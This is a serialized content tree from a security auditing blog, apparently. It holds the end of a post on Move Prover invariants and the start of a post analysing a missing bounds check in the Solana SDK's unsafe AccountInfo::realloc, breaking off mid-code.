,"props":12674,"children":12675},{"style":338},[12676],{"type":28,"value":1025},{"type":23,"tag":314,"props":12678,"children":12679},{"class":316,"line":1091},[12680,12684,12688,12692],{"type":23,"tag":314,"props":12681,"children":12682},{"style":332},[12683],{"type":28,"value":7372},{"type":23,"tag":314,"props":12685,"children":12686},{"style":338},[12687],{"type":28,"value":341},{"type":23,"tag":314,"props":12689,"children":12690},{"style":360},[12691],{"type":28,"value":7381},{"type":23,"tag":314,"props":12693,"children":12694},{"style":338},[12695],{"type":28,"value":2414},{"type":23,"tag":314,"props":12697,"children":12698},{"class":316,"line":1141},[12699],{"type":23,"tag":314,"props":12700,"children":12701},{"style":338},[12702],{"type":28,"value":5126},{"type":23,"tag":314,"props":12704,"children":12705},{"class":316,"line":1173},[12706,12710,12714],{"type":23,"tag":314,"props":12707,"children":12708},{"style":360},[12709],{"type":28,"value":7400},{"type":23,"tag":314,"props":12711,"children":12712},{"style":360},[12713],{"type":28,"value":7246},{"type":23,"tag":314,"props":12715,"children":12716},{"style":338},[12717],{"type":28,"value":1449},{"type":23,"tag":314,"props":12719,"children":12720},{"class":316,"line":1208},[12721,12725,12729,12733,12737],{"type":23,"tag":314,"props":12722,"children":12723},{"style":360},[12724],{"type":28,"value":7416},{"type":23,"tag":314,"props":12726,"children":12727},{"style":360},[12728],{"type":28,"value":7421},{"type":23,"tag":314,"props":12730,"children":12731},{"style":354},[12732],{"type":28,"value":1102},{"type":23,"tag":314,"props":12734,"children":12735},{"style":321},[12736],{"type":28,"value":1532},{"type":23,"tag":314,"props":12738,"children":12739},{"style":338},[12740],{"type":28,"value":2278},{"type":23,"tag":314,"props":12742,"children":12743},{"class":316,"line":1216},[12744,12748,12752,12756,12760],{"type":23,"tag":314,"props":12745,"children":12746},{"style":360},[12747],{"type":28,"value":7441},{"type":23,"tag":314,"props":12749,"children":12750},{"style":360},[12751],{"type":28,"value":7446},{"type":23,"tag":314,"props":12753,"children":12754},{"style":354},[12755],{"type":28,"value":7451},{"type":23,"tag":314,"props":12757,"children":12758},{"style":360},[12759],{"type":28,"value":7456},{"type":23,"tag":314,"props":12761,"children":12762},{"style":338},[12763],{"type":28,"value":2278},{"type":23,"tag":314,"props":12765,"children":12766},{"class":316,"line":1301},[12767,12771,12775,12779,12783],{"type":23,"tag":314,"props":12768,"children":12769},{"style":360},[12770],{"type":28,"value":7441},{"type":23,"tag":314,"props":12772,"children":12773},{"style":360},[12774],{"type":28,"value":7472},{"type":23,"tag":314,"props":12776,"children":12777},{"style":354},[12778],{"type":28,"value":7451},{"type":23,"tag":314,"props":12780,"children":12781},{"style":360},[12782],{"type":28,"value":7481},{"type":23,"tag":314,"props":12784,"children":12785},{"style":338},[12786],{"type":28,"value":2278},{"type":23,"tag":314,"props":12788,"children":12789},{"class":316,"line":1343},[12790],{"type":23,"tag":314,"props":12791,"children":12792},{"style":338},[12793],{"type":28,"value":5126},{"type":23,"tag":24,"props":12795,"children":12796},{},[12797],{"type":28,"value":12798},"Some other ideas include",{"type":23,"tag":84,"props":12800,"children":12801},{},[12802,12807,12812],{"type":23,"tag":88,"props":12803,"children":12804},{},[12805],{"type":28,"value":12806},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":88,"props":12808,"children":12809},{},[12810],{"type":28,"value":12811},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":88,"props":12813,"children":12814},{},[12815],{"type":28,"value":12816},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":61,"props":12818,"children":12819},{"id":4565},[12820],{"type":28,"value":4568},{"type":23,"tag":24,"props":12822,"children":12823},{},[12824],{"type":28,"value":12825},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":24,"props":12827,"children":12828},{},[12829],{"type":28,"value":12830},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":24,"props":12832,"children":12833},{},[12834,12836,12841],{"type":28,"value":12835},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":31,"props":12837,"children":12839},{"href":8491,"rel":12838},[35],[12840],{"type":28,"value":8495},{"type":28,"value":282},{"type":23,"tag":2096,"props":12843,"children":12844},{},[12845],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":12847},[12848,12849,12852,12859],{"id":8555,"depth":370,"text":8558},{"id":8609,"depth":370,"text":8612,"children":12850},[12851],{"id":8859,"depth":380,"text":8855},{"id":11757,"depth":370,"text":11760,"children":12853},[12854,12855,12856,12857,12858],{"id":11773,"depth":380,"text":11776},{"id":12024,"depth":380,"text":12027},{"id":12329,"depth":380,"text":12332},{"id":12366,"depth":380,"text":12369},{"id":12528,"depth":380,"text":12531},{"id":4565,"depth":370,"text":4568},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":12864,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":12865,"description":12866,"author":12867,"image":12868,"date":12872,"isFeatured":18,"onBlogPage":18,"tags":12873,"body":12874,"_type":2117,"_id":17981,"_source":2119,"_file":17982,"_stem":17983,"_extension":2122},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":12869,"height":12870,"width":12871},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[2134,8519],{"type":20,"children":12875,"toc":17965},[12876,12904,12924,13593,13613,13624,13636,13769,13779,13785,13811,14147,14192,14518,14581,14594,14668,14735,14756,14769,14783,15131,15142,15147,15278,15329,15355,15367,15540,15676,15717,15754,15818,15823,15860,15914,15925,16068,16080,16086,16092,16125,16139,16261,16280,16308,16314,16404,16495,16501,16506,16553,16821,16896,16907,16934,17266,17278,17350,17622,17659,17961],{"type":23,"tag":24,"props":12877,"children":12878},{},[12879,12881,12887,12889,12894,12896,12902],{"type":28,"value":12880},"It all started with an audit of a program that used ",{"type":23,"tag":94,"props":12882,"children":12884},{"className":12883},[],[12885],{"type":28,"value":12886},"realloc",{"type":28,"value":12888}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":94,"props":12890,"children":12892},{"className":12891},[],[12893],{"type":28,"value":12886},{"type":28,"value":12895}," call (from ",{"type":23,"tag":94,"props":12897,"children":12899},{"className":12898},[],[12900],{"type":28,"value":12901},"solana_program",{"type":28,"value":12903},") would error out appropriately.",{"type":23,"tag":24,"props":12905,"children":12906},{},[12907,12909,12915,12916,12923],{"type":28,"value":12908},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":94,"props":12910,"children":12912},{"className":12911},[],[12913],{"type":28,"value":12914},"AccountInfo::realloc",{"type":28,"value":4756},{"type":23,"tag":31,"props":12917,"children":12920},{"href":12918,"rel":12919},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[35],[12921],{"type":28,"value":12922},"implemented",{"type":28,"value":3746},{"type":23,"tag":304,"props":12925,"children":12927},{"className":2234,"code":12926,"language":2233,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[12928],{"type":23,"tag":94,"props":12929,"children":12930},{"__ignoreMap":7},[12931,13024,13058,13065,13073,13085,13093,13185,13218,13225,13233,13363,13394,13401,13408,13416,13450,13462,13511,13523,13552,13559,13566,13573,13586],{"type":23,"tag":314,"props":12932,"children":12933},{"class":316,"line":317},[12934,12939,12944,12949,12953,12957,12962,12966,12971,12975,12980,12984,12989,12993,12997,13001,13005,13010,13015,13020],{"type":23,"tag":314,"props":12935,"children":12936},{"style":321},[12937],{"type":28,"value":12938},"pub",{"type":23,"tag":314,"props":12940,"children":12941},{"style":321},[12942],{"type":28,"value":12943}," fn",{"type":23,"tag":314,"props":12945,"children":12946},{"style":332},[12947],{"type":28,"value":12948}," realloc",{"type":23,"tag":314,"props":12950,"children":12951},{"style":338},[12952],{"type":28,"value":341},{"type":23,"tag":314,"props":12954,"children":12955},{"style":354},[12956],{"type":28,"value":1833},{"type":23,"tag":314,"props":12958,"children":12959},{"style":321},[12960],{"type":28,"value":12961},"self",{"type":23,"tag":314,"props":12963,"children":12964},{"style":338},[12965],{"type":28,"value":778},{"type":23,"tag":314,"props":12967,"children":12968},{"style":360},[12969],{"type":28,"value":12970},"new_len",{"type":23,"tag":314,"props":12972,"children":12973},{"style":354},[12974],{"type":28,"value":3746},{"type":23,"tag":314,"props":12976,"children":12977},{"style":2674},[12978],{"type":28,"value":12979}," usize",{"type":23,"tag":314,"props":12981,"children":12982},{"style":338},[12983],{"type":28,"value":778},{"type":23,"tag":314,"props":12985,"children":12986},{"style":360},[12987],{"type":28,"value":12988},"zero_init",{"type":23,"tag":314,"props":12990,"children":12991},{"style":354},[12992],{"type":28,"value":3746},{"type":23,"tag":314,"props":12994,"children":12995},{"style":2674},[12996],{"type":28,"value":11298},{"type":23,"tag":314,"props":12998,"children":12999},{"style":338},[13000],{"type":28,"value":2343},{"type":23,"tag":314,"props":13002,"children":13003},{"style":354},[13004],{"type":28,"value":1015},{"type":23,"tag":314,"props":13006,"children":13007},{"style":2674},[13008],{"type":28,"value":13009}," Result",{"type":23,"tag":314,"props":13011,"children":13012},{"style":338},[13013],{"type":28,"value":13014},"\u003C(), ",{"type":23,"tag":314,"props":13016,"children":13017},{"style":2674},[13018],{"type":28,"value":13019},"ProgramError",{"type":23,"tag":314,"props":13021,"children":13022},{"style":338},[13023],{"type":28,"value":6536},{"type":23,"tag":314,"props":13025,"children":13026},{"class":316,"line":370},[13027,13031,13036,13040,13045,13049,13054],{"type":23,"tag":314,"props":13028,"children":13029},{"style":321},[13030],{"type":28,"value":2254},{"type":23,"tag":314,"props":13032,"children":13033},{"style":360},[13034],{"type":28,"value":13035}," orig_len",{"type":23,"tag":314,"props":13037,"children":13038},{"style":354},[13039],{"type":28,"value":1237},{"type":23,"tag":314,"props":13041,"children":13042},{"style":321},[13043],{"type":28,"value":13044}," self",{"type":23,"tag":314,"props":13046,"children":13047},{"style":354},[13048],{"type":28,"value":282},{"type":23,"tag":314,"props":13050,"children":13051},{"style":332},[13052],{"type":28,"value":13053},"data_len",{"type":23,"tag":314,"props":13055,"children":13056},{"style":338},[13057],{"type":28,"value":2926},{"type":23,"tag":314,"props":13059,"children":13060},{"class":316,"line":380},[13061],{"type":23,"tag":314,"props":13062,"children":13063},{"emptyLinePlaceholder":18},[13064],{"type":28,"value":1088},{"type":23,"tag":314,"props":13066,"children":13067},{"class":316,"line":1091},[13068],{"type":23,"tag":314,"props":13069,"children":13070},{"style":374},[13071],{"type":28,"value":13072}," // realloc\n",{"type":23,"tag":314,"props":13074,"children":13075},{"class":316,"line":1141},[13076,13081],{"type":23,"tag":314,"props":13077,"children":13078},{"style":321},[13079],{"type":28,"value":13080}," unsafe",{"type":23,"tag":314,"props":13082,"children":13083},{"style":338},[13084],{"type":28,"value":1449},{"type":23,"tag":314,"props":13086,"children":13087},{"class":316,"line":1173},[13088],{"type":23,"tag":314,"props":13089,"children":13090},{"style":374},[13091],{"type":28,"value":13092}," // First set new length in the serialized data\n",{"type":23,"tag":314,"props":13094,"children":13095},{"class":316,"line":1208},[13096,13100,13105,13109,13113,13117,13122,13127,13131,13136,13140,13144,13149,13153,13157,13161,13165,13169,13173,13177,13181],{"type":23,"tag":314,"props":13097,"children":13098},{"style":321},[13099],{"type":28,"value":2319},{"type":23,"tag":314,"props":13101,"children":13102},{"style":360},[13103],{"type":28,"value":13104}," ptr",{"type":23,"tag":314,"props":13106,"children":13107},{"style":354},[13108],{"type":28,"value":1237},{"type":23,"tag":314,"props":13110,"children":13111},{"style":321},[13112],{"type":28,"value":13044},{"type":23,"tag":314,"props":13114,"children":13115},{"style":354},[13116],{"type":28,"value":282},{"type":23,"tag":314,"props":13118,"children":13119},{"style":332},[13120],{"type":28,"value":13121},"try_borrow_mut_data",{"type":23,"tag":314,"props":13123,"children":13124},{"style":338},[13125],{"type":28,"value":13126},"()",{"type":23,"tag":314,"props":13128,"children":13129},{"style":354},[13130],{"type":28,"value":2387},{"type":23,"tag":314,"props":13132,"children":13133},{"style":332},[13134],{"type":28,"value":13135},"as_mut_ptr",{"type":23,"tag":314,"props":13137,"children":13138},{"style":338},[13139],{"type":28,"value":13126},{"type":23,"tag":314,"props":13141,"children":13142},{"style":354},[13143],{"type":28,"value":282},{"type":23,"tag":314,"props":13145,"children":13146},{"style":332},[13147],{"type":28,"value":13148},"offset",{"type":23,"tag":314,"props":13150,"children":13151},{"style":338},[13152],{"type":28,"value":341},{"type":23,"tag":314,"props":13154,"children":13155},{"style":354},[13156],{"type":28,"value":1051},{"type":23,"tag":314,"props":13158,"children":13159},{"style":1054},[13160],{"type":28,"value":3330},{"type":23,"tag":314,"props":13162,"children":13163},{"style":338},[13164],{"type":28,"value":2343},{"type":23,"tag":314,"props":13166,"children":13167},{"style":321},[13168],{"type":28,"value":8094},{"type":23,"tag":314,"props":13170,"children":13171},{"style":354},[13172],{"type":28,"value":357},{"type":23,"tag":314,"props":13174,"children":13175},{"style":321},[13176],{"type":28,"value":2979},{"type":23,"tag":314,"props":13178,"children":13179},{"style":2674},[13180],{"type":28,"value":5114},{"type":23,"tag":314,"props":13182,"children":13183},{"style":338},[13184],{"type":28,"value":2278},{"type":23,"tag":314,"props":13186,"children":13187},{"class":316,"line":1216},[13188,13192,13197,13201,13206,13210,13214],{"type":23,"tag":314,"props":13189,"children":13190},{"style":354},[13191],{"type":28,"value":7006},{"type":23,"tag":314,"props":13193,"children":13194},{"style":360},[13195],{"type":28,"value":13196},"ptr",{"type":23,"tag":314,"props":13198,"children":13199},{"style":354},[13200],{"type":28,"value":1237},{"type":23,"tag":314,"props":13202,"children":13203},{"style":360},[13204],{"type":28,"value":13205}," new_len",{"type":23,"tag":314,"props":13207,"children":13208},{"style":321},[13209],{"type":28,"value":8080},{"type":23,"tag":314,"props":13211,"children":13212},{"style":2674},[13213],{"type":28,"value":5114},{"type":23,"tag":314,"props":13215,"children":13216},{"style":338},[13217],{"type":28,"value":2278},{"type":23,"tag":314,"props":13219,"children":13220},{"class":316,"line":1301},[13221],{"type":23,"tag":314,"props":13222,"children":13223},{"emptyLinePlaceholder":18},[13224],{"type":28,"value":1088},{"type":23,"tag":314,"props":13226,"children":13227},{"class":316,"line":1343},[13228],{"type":23,"tag":314,"props":13229,"children":13230},{"style":374},[13231],{"type":28,"value":13232}," // Then set the new length in the local slice\n",{"type":23,"tag":314,"props":13234,"children":13235},{"class":316,"line":1351},[13236,13240,13244,13248,13252,13256,13260,13265,13269,13273,13277,13281,13286,13291,13295,13299,13303,13307,13311,13315,13319,13323,13327,13331,13335,13339,13343,13347,13351,13355,13359],{"type":23,"tag":314,"props":13237,"children":13238},{"style":321},[13239],{"type":28,"value":2319},{"type":23,"tag":314,"props":13241,"children":13242},{"style":360},[13243],{"type":28,"value":13104},{"type":23,"tag":314,"props":13245,"children":13246},{"style":354},[13247],{"type":28,"value":1237},{"type":23,"tag":314,"props":13249,"children":13250},{"style":354},[13251],{"type":28,"value":1968},{"type":23,"tag":314,"props":13253,"children":13254},{"style":321},[13255],{"type":28,"value":2979},{"type":23,"tag":314,"props":13257,"children":13258},{"style":354},[13259],{"type":28,"value":357},{"type":23,"tag":314,"props":13261,"children":13262},{"style":338},[13263],{"type":28,"value":13264},"(((",{"type":23,"tag":314,"props":13266,"children":13267},{"style":321},[13268],{"type":28,"value":12961},{"type":23,"tag":314,"props":13270,"children":13271},{"style":354},[13272],{"type":28,"value":282},{"type":23,"tag":314,"props":13274,"children":13275},{"style":338},[13276],{"type":28,"value":249},{"type":23,"tag":314,"props":13278,"children":13279},{"style":354},[13280],{"type":28,"value":282},{"type":23,"tag":314,"props":13282,"children":13283},{"style":332},[13284],{"type":28,"value":13285},"as_ptr",{"type":23,"tag":314,"props":13287,"children":13288},{"style":338},[13289],{"type":28,"value":13290},"() ",{"type":23,"tag":314,"props":13292,"children":13293},{"style":321},[13294],{"type":28,"value":8094},{"type":23,"tag":314,"props":13296,"children":13297},{"style":354},[13298],{"type":28,"value":357},{"type":23,"tag":314,"props":13300,"children":13301},{"style":321},[13302],{"type":28,"value":346},{"type":23,"tag":314,"props":13304,"children":13305},{"style":2674},[13306],{"type":28,"value":5114},{"type":23,"tag":314,"props":13308,"children":13309},{"style":338},[13310],{"type":28,"value":431},{"type":23,"tag":314,"props":13312,"children":13313},{"style":354},[13314],{"type":28,"value":282},{"type":23,"tag":314,"props":13316,"children":13317},{"style":332},[13318],{"type":28,"value":13148},{"type":23,"tag":314,"props":13320,"children":13321},{"style":338},[13322],{"type":28,"value":341},{"type":23,"tag":314,"props":13324,"children":13325},{"style":1054},[13326],{"type":28,"value":3267},{"type":23,"tag":314,"props":13328,"children":13329},{"style":338},[13330],{"type":28,"value":2343},{"type":23,"tag":314,"props":13332,"children":13333},{"style":321},[13334],{"type":28,"value":8094},{"type":23,"tag":314,"props":13336,"children":13337},{"style":2674},[13338],{"type":28,"value":5114},{"type":23,"tag":314,"props":13340,"children":13341},{"style":338},[13342],{"type":28,"value":2343},{"type":23,"tag":314,"props":13344,"children":13345},{"style":321},[13346],{"type":28,"value":8094},{"type":23,"tag":314,"props":13348,"children":13349},{"style":354},[13350],{"type":28,"value":357},{"type":23,"tag":314,"props":13352,"children":13353},{"style":321},[13354],{"type":28,"value":2979},{"type":23,"tag":314,"props":13356,"children":13357},{"style":2674},[13358],{"type":28,"value":5114},{"type":23,"tag":314,"props":13360,"children":13361},{"style":338},[13362],{"type":28,"value":1025},{"type":23,"tag":314,"props":13364,"children":13365},{"class":316,"line":1387},[13366,13370,13374,13378,13382,13386,13390],{"type":23,"tag":314,"props":13367,"children":13368},{"style":354},[13369],{"type":28,"value":7006},{"type":23,"tag":314,"props":13371,"children":13372},{"style":360},[13373],{"type":28,"value":13196},{"type":23,"tag":314,"props":13375,"children":13376},{"style":354},[13377],{"type":28,"value":1237},{"type":23,"tag":314,"props":13379,"children":13380},{"style":360},[13381],{"type":28,"value":13205},{"type":23,"tag":314,"props":13383,"children":13384},{"style":321},[13385],{"type":28,"value":8080},{"type":23,"tag":314,"props":13387,"children":13388},{"style":2674},[13389],{"type":28,"value":5114},{"type":23,"tag":314,"props":13391,"children":13392},{"style":338},[13393],{"type":28,"value":2278},{"type":23,"tag":314,"props":13395,"children":13396},{"class":316,"line":1422},[13397],{"type":23,"tag":314,"props":13398,"children":13399},{"style":338},[13400],{"type":28,"value":2610},{"type":23,"tag":314,"props":13402,"children":13403},{"class":316,"line":1430},[13404],{"type":23,"tag":314,"props":13405,"children":13406},{"emptyLinePlaceholder":18},[13407],{"type":28,"value":1088},{"type":23,"tag":314,"props":13409,"children":13410},{"class":316,"line":1452},[13411],{"type":23,"tag":314,"props":13412,"children":13413},{"style":374},[13414],{"type":28,"value":13415}," // zero-init if requested\n",{"type":23,"tag":314,"props":13417,"children":13418},{"class":316,"line":1497},[13419,13423,13428,13433,13437,13442,13446],{"type":23,"tag":314,"props":13420,"children":13421},{"style":2284},[13422],{"type":28,"value":11527},{"type":23,"tag":314,"props":13424,"children":13425},{"style":360},[13426],{"type":28,"value":13427}," zero_init",{"type":23,"tag":314,"props":13429,"children":13430},{"style":354},[13431],{"type":28,"value":13432}," &&",{"type":23,"tag":314,"props":13434,"children":13435},{"style":360},[13436],{"type":28,"value":13205},{"type":23,"tag":314,"props":13438,"children":13439},{"style":354},[13440],{"type":28,"value":13441}," >",{"type":23,"tag":314,"props":13443,"children":13444},{"style":360},[13445],{"type":28,"value":13035},{"type":23,"tag":314,"props":13447,"children":13448},{"style":338},[13449],{"type":28,"value":1449},{"type":23,"tag":314,"props":13451,"children":13452},{"class":316,"line":1539},[13453,13458],{"type":23,"tag":314,"props":13454,"children":13455},{"style":332},[13456],{"type":28,"value":13457}," sol_memset",{"type":23,"tag":314,"props":13459,"children":13460},{"style":338},[13461],{"type":28,"value":2719},{"type":23,"tag":314,"props":13463,"children":13464},{"class":316,"line":1548},[13465,13469,13473,13477,13481,13485,13489,13493,13497,13502,13506],{"type":23,"tag":314,"props":13466,"children":13467},{"style":354},[13468],{"type":28,"value":6940},{"type":23,"tag":314,"props":13470,"children":13471},{"style":321},[13472],{"type":28,"value":2979},{"type":23,"tag":314,"props":13474,"children":13475},{"style":321},[13476],{"type":28,"value":13044},{"type":23,"tag":314,"props":13478,"children":13479},{"style":354},[13480],{"type":28,"value":282},{"type":23,"tag":314,"props":13482,"children":13483},{"style":332},[13484],{"type":28,"value":13121},{"type":23,"tag":314,"props":13486,"children":13487},{"style":338},[13488],{"type":28,"value":13126},{"type":23,"tag":314,"props":13490,"children":13491},{"style":354},[13492],{"type":28,"value":2409},{"type":23,"tag":314,"props":13494,"children":13495},{"style":338},[13496],{"type":28,"value":1312},{"type":23,"tag":314,"props":13498,"children":13499},{"style":360},[13500],{"type":28,"value":13501},"orig_len",{"type":23,"tag":314,"props":13503,"children":13504},{"style":354},[13505],{"type":28,"value":2306},{"type":23,"tag":314,"props":13507,"children":13508},{"style":338},[13509],{"type":28,"value":13510},"],\n",{"type":23,"tag":314,"props":13512,"children":13513},{"class":316,"line":1584},[13514,13519],{"type":23,"tag":314,"props":13515,"children":13516},{"style":1054},[13517],{"type":28,"value":13518}," 0",{"type":23,"tag":314,"props":13520,"children":13521},{"style":338},[13522],{"type":28,"value":1870},{"type":23,"tag":314,"props":13524,"children":13525},{"class":316,"line":1617},[13526,13531,13535,13540,13544,13548],{"type":23,"tag":314,"props":13527,"children":13528},{"style":360},[13529],{"type":28,"value":13530}," new_len",{"type":23,"tag":314,"props":13532,"children":13533},{"style":354},[13534],{"type":28,"value":282},{"type":23,"tag":314,"props":13536,"children":13537},{"style":332},[13538],{"type":28,"value":13539},"saturating_sub",{"type":23,"tag":314,"props":13541,"children":13542},{"style":338},[13543],{"type":28,"value":341},{"type":23,"tag":314,"props":13545,"children":13546},{"style":360},[13547],{"type":28,"value":13501},{"type":23,"tag":314,"props":13549,"children":13550},{"style":338},[13551],{"type":28,"value":5992},{"type":23,"tag":314,"props":13553,"children":13554},{"class":316,"line":1625},[13555],{"type":23,"tag":314,"props":13556,"children":13557},{"style":338},[13558],{"type":28,"value":6998},{"type":23,"tag":314,"props":13560,"children":13561},{"class":316,"line":1660},[13562],{"type":23,"tag":314,"props":13563,"children":13564},{"style":338},[13565],{"type":28,"value":2610},{"type":23,"tag":314,"props":13567,"children":13568},{"class":316,"line":1708},[13569],{"type":23,"tag":314,"props":13570,"children":13571},{"emptyLinePlaceholder":18},[13572],{"type":28,"value":1088},{"type":23,"tag":314,"props":13574,"children":13575},{"class":316,"line":1743},[13576,13581],{"type":23,"tag":314,"props":13577,"children":13578},{"style":2674},[13579],{"type":28,"value":13580}," Ok",{"type":23,"tag":314,"props":13582,"children":13583},{"style":338},[13584],{"type":28,"value":13585},"(())\n",{"type":23,"tag":314,"props":13587,"children":13588},{"class":316,"line":1751},[13589],{"type":23,"tag":314,"props":13590,"children":13591},{"style":338},[13592],{"type":28,"value":386},{"type":23,"tag":24,"props":13594,"children":13595},{},[13596,13598,13604,13606,13611],{"type":28,"value":13597},"Oh. There's ",{"type":23,"tag":94,"props":13599,"children":13601},{"className":13600},[],[13602],{"type":28,"value":13603},"unsafe",{"type":28,"value":13605},". And no bounds check in sight. ",{"type":23,"tag":186,"props":13607,"children":13608},{},[13609],{"type":28,"value":13610},"And",{"type":28,"value":13612}," pointer math. That doesn't look promising...",{"type":23,"tag":61,"props":13614,"children":13616},{"id":13615},"breaking-down-realloc",[13617,13619],{"type":28,"value":13618},"Breaking down ",{"type":23,"tag":94,"props":13620,"children":13622},{"className":13621},[],[13623],{"type":28,"value":12886},{"type":23,"tag":24,"props":13625,"children":13626},{},[13627,13629,13634],{"type":28,"value":13628},"Let's pick apart this ",{"type":23,"tag":94,"props":13630,"children":13632},{"className":13631},[],[13633],{"type":28,"value":13603},{"type":28,"value":13635}," block, since there's a lot going on here.",{"type":23,"tag":304,"props":13637,"children":13639},{"className":2234,"code":13638,"language":2233,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[13640],{"type":23,"tag":94,"props":13641,"children":13642},{"__ignoreMap":7},[13643,13651,13738],{"type":23,"tag":314,"props":13644,"children":13645},{"class":316,"line":317},[13646],{"type":23,"tag":314,"props":13647,"children":13648},{"style":374},[13649],{"type":28,"value":13650},"// First set new length in the serialized data\n",{"type":23,"tag":314,"props":13652,"children":13653},{"class":316,"line":370},[13654,13658,13662,13666,13670,13674,13678,13682,13686,13690,13694,13698,13702,13706,13710,13714,13718,13722,13726,13730,13734],{"type":23,"tag":314,"props":13655,"children":13656},{"style":321},[13657],{"type":28,"value":11035},{"type":23,"tag":314,"props":13659,"children":13660},{"style":360},[13661],{"type":28,"value":13104},{"type":23,"tag":314,"props":13663,"children":13664},{"style":354},[13665],{"type":28,"value":1237},{"type":23,"tag":314,"props":13667,"children":13668},{"style":321},[13669],{"type":28,"value":13044},{"type":23,"tag":314,"props":13671,"children":13672},{"style":354},[13673],{"type":28,"value":282},{"type":23,"tag":314,"props":13675,"children":13676},{"style":332},[13677],{"type":28,"value":13121},{"type":23,"tag":314,"props":13679,"children":13680},{"style":338},[13681],{"type":28,"value":13126},{"type":23,"tag":314,"props":13683,"children":13684},{"style":354},[13685],{"type":28,"value":2387},{"type":23,"tag":314,"props":13687,"children":13688},{"style":332},[13689],{"type":28,"value":13135},{"type":23,"tag":314,"props":13691,"children":13692},{"style":338},[13693],{"type":28,"value":13126},{"type":23,"tag":314,"props":13695,"children":13696},{"style":354},[13697],{"type":28,"value":282},{"type":23,"tag":314,"props":13699,"children":13700},{"style":332},[13701],{"type":28,"value":13148},{"type":23,"tag":314,"props":13703,"children":13704},{"style":338},[13705],{"type":28,"value":341},{"type":23,"tag":314,"props":13707,"children":13708},{"style":354},[13709],{"type":28,"value":1051},{"type":23,"tag":314,"props":13711,"children":13712},{"style":1054},[13713],{"type":28,"value":3330},{"type":23,"tag":314,"props":13715,"children":13716},{"style":338},[13717],{"type":28,"value":2343},{"type":23,"tag":314,"props":13719,"children":13720},{"style":321},[13721],{"type":28,"value":8094},{"type":23,"tag":314,"props":13723,"children":13724},{"style":354},[13725],{"type":28,"value":357},{"type":23,"tag":314,"props":13727,"children":13728},{"style":321},[13729],{"type":28,"value":2979},{"type":23,"tag":314,"props":13731,"children":13732},{"style":2674},[13733],{"type":28,"value":5114},{"type":23,"tag":314,"props":13735,"children":13736},{"style":338},[13737],{"type":28,"value":2278},{"type":23,"tag":314,"props":13739,"children":13740},{"class":316,"line":380},[13741,13745,13749,13753,13757,13761,13765],{"type":23,"tag":314,"props":13742,"children":13743},{"style":354},[13744],{"type":28,"value":256},{"type":23,"tag":314,"props":13746,"children":13747},{"style":360},[13748],{"type":28,"value":13196},{"type":23,"tag":314,"props":13750,"children":13751},{"style":354},[13752],{"type":28,"value":1237},{"type":23,"tag":314,"props":13754,"children":13755},{"style":360},[13756],{"type":28,"value":13205},{"type":23,"tag":314,"props":13758,"children":13759},{"style":321},[13760],{"type":28,"value":8080},{"type":23,"tag":314,"props":13762,"children":13763},{"style":2674},[13764],{"type":28,"value":5114},{"type":23,"tag":314,"props":13766,"children":13767},{"style":338},[13768],{"type":28,"value":2278},{"type":23,"tag":24,"props":13770,"children":13771},{},[13772,13777],{"type":23,"tag":94,"props":13773,"children":13775},{"className":13774},[],[13776],{"type":28,"value":13121},{"type":28,"value":13778}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":837,"props":13780,"children":13782},{"id":13781},"bpf-loader-abi",[13783],{"type":28,"value":13784},"BPF Loader ABI",{"type":23,"tag":24,"props":13786,"children":13787},{},[13788,13790,13795,13797,13810],{"type":28,"value":13789},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":94,"props":13791,"children":13793},{"className":13792},[],[13794],{"type":28,"value":12901},{"type":28,"value":13796},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":31,"props":13798,"children":13801},{"href":13799,"rel":13800},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[35],[13802,13808],{"type":23,"tag":94,"props":13803,"children":13805},{"className":13804},[],[13806],{"type":28,"value":13807},"entrypoint!",{"type":28,"value":13809}," macro",{"type":28,"value":3746},{"type":23,"tag":304,"props":13812,"children":13814},{"className":2234,"code":13813,"language":2233,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { 